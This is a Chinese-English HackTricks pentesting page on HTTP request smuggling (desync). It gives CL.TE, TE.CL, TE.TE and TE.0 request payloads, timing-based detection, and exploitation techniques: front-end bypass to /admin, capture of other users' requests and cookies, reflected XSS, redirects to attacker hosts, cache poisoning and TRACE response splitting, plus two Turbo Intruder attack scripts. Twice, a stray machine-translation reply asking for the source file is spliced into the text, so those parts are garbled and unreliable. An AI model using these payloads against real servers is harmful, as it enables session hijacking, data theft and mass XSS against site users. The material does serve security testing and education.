HTTP Request Smuggling / HTTP Desync Attack
Reading time: 40 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是
当 front-end proxies 与 back-end 服务器之间发生 desyncronization,使得 attacker 能够发送一个 HTTP request,该请求对 front-end proxies(load balance/reverse-proxy)被 interpreted 为 single request,但对 back-end 服务器被 interpreted 为 2 request 时,就会产生此漏洞。
这允许用户 modify the next request that arrives to the back-end server after his。
理论
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
现实情况
Front-End(load-balance / Reverse Proxy)处理 Content-Length 或 Transfer-Encoding 头,而 Back-end 服务器处理另一个头,导致两者之间发生 desyncronization。
这可能非常危险,因为 attacker 可以向 reverse proxy 发送一个请求,该请求会被 back-end 服务器 interpreted 为两个不同的请求。该技术的危险在于 back-end 会把被注入的第二个请求当作来自下一个客户端的请求来处理,而该客户端的真实请求将成为被注入请求的一部分。
特别之处
记住在 HTTP 中 换行字符由 2 个字节组成:
- Content-Length: 该 header 使用十进制数字来指示请求体的字节数。请求体预期在最后一个字符处结束,请求末尾不需要额外的换行。
- Transfer-Encoding: 该 header 在 body 中使用十六进制数字来指示下一 chunk 的字节数。chunk 必须以换行结束,但该换行不计入长度指示。此传输方法必须以一个 大小为 0 的 chunk,后跟 2 个换行 结束:
0
- Connection: 根据我的经验,建议在 request Smuggling 的第一个请求中使用
Connection: keep-alive
。
Basic Examples
tip
When trying to exploit this with Burp Suite disable Update Content-Length
and Normalize HTTP/1 line endings
in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling 攻击通过发送模糊不清的请求来利用 front-end 和 back-end 服务器如何解释 Content-Length
(CL) 和 Transfer-Encoding
(TE) 头的不一致。这类攻击主要以 CL.TE、TE.CL 和 TE.TE 形式出现。每种类型表示 front-end 和 back-end 在头优先级上的不同组合。漏洞的根源在于服务器以不同方式处理同一请求,从而导致不可预期并可能恶意的结果。
漏洞类型的基本示例
tip
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): 根据
Content-Length
header 处理请求。 -
Back-End (TE): 根据
Transfer-Encoding
header 处理请求。 -
Attack Scenario:
-
攻击者发送一个
Content-Length
值与实际内容长度不匹配的请求。 -
front-end 服务器根据
Content-Length
值将整个请求转发给 back-end。 -
back-end 服务器由于存在
Transfer-Encoding: chunked
header,将剩余数据解释为单独的后续请求。 -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): 根据
Transfer-Encoding
header 处理请求。 -
Back-End (CL): 根据
Content-Length
header 处理请求。 -
Attack Scenario:
-
攻击者发送一个 chunked 请求,chunk 大小(
7b
)与实际内容长度(Content-Length: 4
)不一致。 -
front-end 服务器遵循
Transfer-Encoding
,将整个请求转发给 back-end。 -
back-end 服务器遵循
Content-Length
,只处理请求的初始部分(7b
字节),其余部分被视为意外的后续请求的一部分。 -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: 两端都支持
Transfer-Encoding
,但其中一端可能被混淆手法骗过而未识别。 -
Attack Scenario:
-
攻击者发送带有混淆的
Transfer-Encoding
headers 的请求。 -
取决于哪个服务器(front-end 或 back-end)未能识别混淆,就可能利用 CL.TE 或 TE.CL 漏洞。
-
在一个服务器看来未被处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- 两端服务器均仅基于
Content-Length
header 处理请求。 - 该场景通常不会导致 smuggling,因为两端在如何解释请求长度上保持一致。
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- 指的是存在
Content-Length
header 且其值非零,表示请求体有内容。但 back-end 将Content-Length
忽略(视为 0),而 front-end 解析该值。 - 这在理解和构造 smuggling 攻击时非常关键,因为它影响服务器如何确定请求结束。
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- 类似前述场景,但使用 TE。
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
破坏 web 服务器
该技术在能够在读取初始 HTTP 数据时使 Web 服务器 崩溃但不关闭连接的场景中也很有用。这样,HTTP 请求的 body 将被视为 next HTTP request。
例如,如 this writeup 所述,在 Werkzeug 中可以发送一些 Unicode 字符,这会使服务器崩溃。但是,如果 HTTP 连接是通过头部 Connection: keep-alive
创建的,请求的 body 不会被读取,连接仍保持打开,因此请求的 body 将被视为 next HTTP request。
通过 hop-by-hop headers 强制
滥用 hop-by-hop headers 可以指示代理 删除 header Content-Length 或 Transfer-Encoding,从而使 HTTP request smuggling 可被利用。
Connection: Content-Length
For more information about hop-by-hop headers visit:
Finding HTTP Request Smuggling
识别 HTTP request smuggling 漏洞通常可以通过 timing techniques 实现,这些方法依赖于观察被操纵的请求使服务器响应所需的时间。 这些技术对检测 CL.TE 和 TE.CL 漏洞尤其有用。 除了这些方法外,还有其他策略和工具可以用来查找此类漏洞:
Finding CL.TE Vulnerabilities Using Timing Techniques
-
方法:
-
发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
-
示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
观察:
-
前端服务器基于
Content-Length
处理请求并过早截断消息。 -
后端服务器期望收到 chunked 消息,因此等待下一个永远不会到达的 chunk,从而导致延迟。
-
指示信号:
-
响应出现超时或长时间延迟。
-
从后端服务器收到 400 Bad Request 错误,有时会包含详细的服务器信息。
Finding TE.CL Vulnerabilities Using Timing Techniques
-
方法:
-
发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
-
示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- 观察:
- 前端服务器基于
Transfer-Encoding
处理并转发完整消息。 - 后端服务器按
Content-Length
期望消息,等待额外永远不会到达的数据,从而导致延迟。
Other Methods to Find Vulnerabilities
- 差异化响应分析:
- 发送略有差异的请求版本,观察服务器响应是否以意外方式不同,这表明存在解析不一致。
- 使用自动化工具:
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。
- Content-Length 变异测试:
- 发送
Content-Length
值与实际内容长度不一致的请求,观察服务器如何处理这些不匹配。 - Transfer-Encoding 变异测试:
- 发送被混淆或格式错误的
Transfer-Encoding
头,监测前端和后端服务器对这些篡改的不同响应。
HTTP Request Smuggling Vulnerability Testing
在确认 timing techniques 有效后,关键是验证是否能操纵客户端请求。 一个直接的方法是尝试毒化你的请求,例如让对 /
的请求返回 404。 在 Basic Examples 中之前讨论的 CL.TE 和 TE.CL 示例演示了如何毒化客户端请求以引发 404 响应,即使客户端试图访问不同的资源。
关键注意事项
在通过干扰其他请求来测试 request smuggling 漏洞时,请注意:
- 不同的网络连接: “攻击”请求和“正常”请求应通过不同的网络连接发送。 在同一连接上发送两者并不能证明漏洞的存在。
- 一致的 URL 和参数: 尽量对两个请求使用相同的 URL 和参数名。 现代应用通常根据 URL 和参数将请求路由到特定后端服务器。 匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
- 时机和竞赛条件: 用于检测“攻击”请求干扰的“正常”请求会与其他并发应用请求竞争。 因此,应在“攻击”请求之后立即发送“正常”请求。 忙碌的应用可能需要多次尝试才能得出结论。
- 负载均衡挑战: 作为负载均衡器的前端服务器可能会将请求分发到不同的后端系统。 如果“攻击”和“正常”请求落在不同的系统上,攻击不会成功。 这一负载均衡因素可能需要多次尝试来确认漏洞。
- 意外的用户影响: 如果你的攻击无意中影响了另一个用户的请求(而不是你发送的用于检测的“正常”请求),这表明你的攻击影响到了其他应用用户。 持续测试可能会中断其他用户,因此必须谨慎。
Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.
Why pipelining creates classic false positives
HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
我没有收到 src/pentesting-web/http-request-smuggling/README.md 的内容。请将该文件的完整 Markdown 文本粘贴到这里,我会按你给出的规则把其中的英文相关文字翻译成中文,并严格保留所有 Markdown/HTML 标记、代码、链接、路径与不翻译的专有名词。
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
如果服务器忽略了畸形的 Content_Length
,则不存在 FE↔BE desync。在重用的情况下,您的客户端实际上发送了以下字节流,服务器将其解析为两个独立的请求:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
影响:无。你只是让客户端与服务器的帧不同步。
tip
依赖重用/管道化的 Burp 模块:Turbo Intruder with requestsPerConnection>1
、Intruder with "HTTP/1 connection reuse"、Repeater "Send group in sequence (single connection)" 或 "Enable connection reuse"。
判别测试:pipelining 还是真实的 desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set
requestsPerConnection=1
andpipeline=False
. - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,那么你已经证明这是后端解析/ desync 漏洞,而不是纯粹的客户端伪像。
- Partial-requests probe for connection-locked front-ends
- 一些 FEs 只有在客户端重用连接时才会重用上游 BE 连接。使用 partial-requests 来检测 FE 是否镜像客户端的重用行为。
- 参见 PortSwigger "Browser‑Powered Desync Attacks" 关于 connection-locked 技术的说明。
- State probes
- 在同一 TCP 连接上查找首次请求与后续请求的差异(首次请求的路由/验证差异)。
- Burp "HTTP Request Smuggler" 包含一个 connection‑state 探测,可自动化此项检查。
- Visualize the wire
- 使用 Burp "HTTP Hacker" 扩展在实验重用和 partial requests 时直接检查拼接和消息定界(concatenation 和 message framing)。
Connection‑locked request smuggling (reuse-required)
一些前端只有在客户端重用连接时才会重用上游连接。真实的 smuggling 存在,但依赖于客户端侧的重用。要区分并证明影响:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: 通过 desync 污染共享缓存,使响应影响其他用户。
- Internal header disclosure: 反射 FE 注入的 headers(例如 auth/trust headers),并以此切换到权限绕过。
- Bypass FE controls: 通过 smuggle 将受限路径/方法绕过前端。
- Host-header abuse: 结合 host 路由的怪异行为转向内部 vhosts。
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2
, or Burp Repeater tab group → "Send group in sequence (single connection)"). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
- Reproduce with controlled reuse (Turbo Intruder
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
如果你针对 browser-powered/client-side desync,恶意请求必须可由浏览器以跨域方式发送。Header obfuscation 的技巧无效。专注于可通过 navigation/fetch 触达的原语,然后转向 cache poisoning、header disclosure 或前端控制绕过,在下游组件反射或缓存响应时利用它们。
有关背景和端到端工作流程:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store):在低层面暴露 HTTP 行为和 socket 拼接。
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder:通过
requestsPerConnection
对连接重用进行精确控制。 - Burp HTTP Request Smuggler:包含一个 connection‑state 探测,用于发现首次请求的路由/验证差异。
note
将仅在重用时出现的效果视为非问题,除非你能证明存在 server-side desync 并附上具体影响(被污染的缓存产物、泄露的内部 header 导致权限绕过、被绕过的 FE 控制等)。
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
有时,前端代理会强制执行安全措施,仔细检查进入的请求。然而,可以通过利用 HTTP Request Smuggling 绕过这些措施,从而未授权访问受限端点。例如,外部可能禁止访问 /admin
,前端代理会主动阻止此类尝试。但该代理可能不会检查被 smuggle 的 HTTP 请求内的嵌入请求,从而留下绕过这些限制的漏洞。
考虑以下示例,说明如何使用 HTTP Request Smuggling 绕过前端安全控制,特别是针对通常由前端代理保护的 /admin
路径:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
在 CL.TE 攻击中,初始请求利用 Content-Length
头,而后续嵌入的请求使用 Transfer-Encoding: chunked
头。前端代理处理初始的 POST
请求,但未能检查嵌入的 GET /admin
请求,从而允许对 /admin
路径的未授权访问。
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Conversely, in the TE.CL attack, the initial POST
request uses Transfer-Encoding: chunked
, and the subsequent embedded request is processed based on the Content-Length
header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled GET /admin
request, inadvertently granting access to the restricted /admin
path.
Revealing front-end request rewriting
应用通常会使用一个 front-end server 在将请求传给后端服务器之前修改传入的请求。常见的修改包括添加头,例如 X-Forwarded-For: <IP of the client>
,以将客户端的 IP 通知后端。了解这些修改非常重要,因为它可能揭示绕过防护或发现隐藏信息或端点的方法。
要调查代理如何修改请求,找一个后端会在响应中回显的 POST 参数。然后构造一个请求,将该参数放在最后,类似下面:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
在这种结构中,后续的请求组件会被追加到 search=
之后,search=
是在响应中被反射的参数。该反射会暴露后续请求的 headers。
必须将嵌套请求的 Content-Length
header 与实际内容长度对齐。建议从较小的值开始逐步增加,因为值太小会截断被反射的数据,而值太大可能导致请求出错。
该技术在 TE.CL 漏洞的场景下同样适用,但请求应以 search=\r\n0
结尾。无论换行字符为何,值都会被附加到 search 参数上。
该方法主要用于了解前端代理对请求所做的修改,本质上是对自身请求的调查。
捕获其他用户的请求
可以通过在 POST 操作期间将特定请求作为参数的值追加来捕获下一个用户的请求。下面说明如何实现:
通过将下面的请求作为参数值追加,你可以保存随后的客户端请求:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
在这个场景中,comment parameter 用于将内容存储在公开可访问页面的帖子评论区中。因此,后续请求的内容将被显示为一条评论。
然而,这种技术有局限性。通常,它只会捕获到走私请求中使用的参数分隔符为止。对于 URL-encoded 表单提交,这个分隔符是 &
字符。这意味着从受害用户请求中捕获的内容会在第一个 &
处停止,该 &
甚至可能属于查询字符串的一部分。
此外,值得注意的是,这种方法在存在 TE.CL 漏洞时也可行。在这种情况下,请求应该以 search=\r\n0
结尾。无论换行字符如何,值都会被附加到 search 参数上。
使用 HTTP request smuggling 来利用 reflected XSS
HTTP Request Smuggling 可被用来攻击易受 Reflected XSS 影响的网页,具有显著优势:
- 与目标用户的交互 不是必需的。
- 允许在通常不可达的请求部分利用 XSS,例如 HTTP request headers。
在通过 User-Agent header 导致 Reflected XSS 的场景中,下面的 payload 演示了如何利用该漏洞:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload is structured to exploit the vulnerability by:
- Initiating a
POST
request, seemingly typical, with aTransfer-Encoding: chunked
header to indicate the start of smuggling. - Following with a
0
, marking the end of the chunked message body. - Then, a smuggled
GET
request is introduced, where theUser-Agent
header is injected with a script,<script>alert(1)</script>
, triggering the XSS when the server processes this subsequent request.
By manipulating the User-Agent
through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
HTTP/0.9
caution
如果用户内容在响应中被反射,且响应的 Content-type
为 text/plain
等,会阻止 XSS 的执行。如果服务器支持 HTTP/0.9,可能可以绕过这一限制!
The version HTTP/0.9 was previously to the 1.0 and only uses GET verbs and doesn’t respond with headers, just the body.
In this writeup, this was abused with a request smuggling and a vulnerable endpoint 会将用户输入作为响应返回 to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type
of text/html
.
利用站内重定向进行 HTTP Request Smuggling
Applications often redirect from one URL to another by using the hostname from the Host
header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
GET /home HTTP/1.1
Host: normal-website.com
结果为:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
看似无害,但这种行为可以通过 HTTP request smuggling 被操纵,从而将用户重定向到外部站点。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
该被走私的请求可能导致下一个被处理的用户请求重定向到攻击者控制的网站:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
导致:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在此场景中,用户对 JavaScript 文件的请求被劫持。攻击者可能通过返回恶意 JavaScript 来危害用户。
通过 HTTP Request Smuggling 利用 Web Cache Poisoning
Web cache poisoning 可以在任何组件的 前端基础设施缓存内容(通常为提高性能)时被执行。通过操纵服务器的响应,有可能 poison the cache。
之前我们演示了如何修改服务器响应以返回 404 错误(参见 Basic Examples)。类似地,可以欺骗服务器在请求 /static/include.js
时返回 /index.html
的内容。因此,缓存中 /static/include.js
的内容会被 /index.html
的内容替换,导致用户无法访问 /static/include.js
,并可能引发 Denial of Service (DoS)。
如果发现 Open Redirect vulnerability,或存在指向 open redirect 的站内重定向,该技术会变得尤为强大。此类漏洞可被利用将缓存中的 /static/include.js
内容替换为攻击者控制的脚本,从而对所有请求已更新 /static/include.js
的客户端发起大规模的 Cross-Site Scripting (XSS) 攻击。
下面示例展示了如何利用 cache poisoning combined with an on-site redirect to open redirect。目标是将 /static/include.js
的缓存内容更改为由攻击者控制的 JavaScript 代码:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
注意嵌入的请求,目标为 /post/next?postId=3
。该请求将被重定向到 /post?postId=4
,并利用 Host header value 来确定域名。通过修改 Host header,攻击者可以将请求重定向到他们的域名(on-site redirect to open redirect)。
在成功进行 socket poisoning 后,应发起针对 /static/include.js
的 GET request。该请求将被之前的 on-site redirect to open redirect 请求污染,并获取由攻击者控制的脚本内容。
随后,任何对 /static/include.js
的请求都将提供被缓存的攻击者脚本内容,从而有效地发动大范围的 XSS 攻击。
使用 HTTP request smuggling 来执行 web cache deception
web cache poisoning 和 web cache deception 之间有什么区别?
- 在 web cache poisoning 中,攻击者使应用将一些恶意内容存入缓存,该内容随后从缓存中提供给其他应用用户。
- 在 web cache deception 中,攻击者使应用将属于其他用户的某些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
攻击者构造一个 smuggled request 来获取敏感的用户特定内容。考虑以下示例:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
如果这个被走私的请求污染了原本用于静态内容的缓存条目(例如 /someimage.png
),受害者来自 /private/messages
的敏感数据可能会被缓存在该静态内容的缓存条目下。因此,攻击者可能能够检索到这些已缓存的敏感数据。
通过 HTTP Request Smuggling 滥用 TRACE
In this post 中建议,如果服务器启用了 TRACE 方法,可能可以通过 HTTP Request Smuggling 来滥用它。这是因为该方法会将发送到服务器的任何 header 反射到响应体中作为一部分。 例如:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
请把 src/pentesting-web/http-request-smuggling/README.md 的内容粘贴到这里,我会按你给的规则将英文译成中文并保持原有的 Markdown/HTML 语法、路径和标签不变。
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
一个滥用该行为的示例是先 smuggle 一个 HEAD 请求。该请求将只以 GET 请求的headers来响应(其中包括 Content-Type
)。并在 HEAD 之后立即 smuggle 一个 TRACE 请求,该请求会反射所发送的数据。
由于 HEAD 响应会包含 Content-Length
头,TRACE 请求的响应将被视为 HEAD 响应的主体,因此在响应中反映任意数据。
该响应将被发送给连接上的下一个请求,因此这可以用于例如在缓存的 JS 文件中注入任意 JS 代码。
滥用 TRACE 通过 HTTP Response Splitting
建议继续参考 this post,其中提出了另一种滥用 TRACE 方法的方式。如文中所述,通过 smuggling 一个 HEAD 请求和一个 TRACE 请求,可在 HEAD 响应中控制部分被反射的数据。HEAD 请求主体的长度基本由 Content-Length
头指示,并且由 TRACE 请求的响应构成。
因此,新思路是:在已知该 Content-Length
和 TRACE 响应中包含的数据的情况下,可以使 TRACE 响应在 Content-Length 指定的最后一个字节之后包含一个有效的 HTTP 响应,从而允许攻击者完全控制发送给下一个响应的请求(这可以用于执行 cache poisoning)。
示例:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
将生成以下响应(注意 HEAD response 含有 Content-Length,使 TRACE response 成为 HEAD body 的一部分;一旦 HEAD 的 Content-Length 结束,一个有效的 HTTP response 就被 smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化
如果你发现了某个 HTTP Request Smuggling 漏洞但不知道如何利用,试试下面这些其他利用方法:
HTTP Response Smuggling / Desync
其他 HTTP Request Smuggling 技术
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder 脚本
CL.TE
来自 https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
来源: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
工具
- HTTP Hacker (Burp BApp Store) – 可视化 concatenation/framing 和 低级别 HTTP 行为
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: 该工具是基于语法的 HTTP Fuzzer,可用于发现奇怪的 request smuggling 差异。
参考资料
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- 注意 false false‑positive:如何区分 HTTP pipelining 与 request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
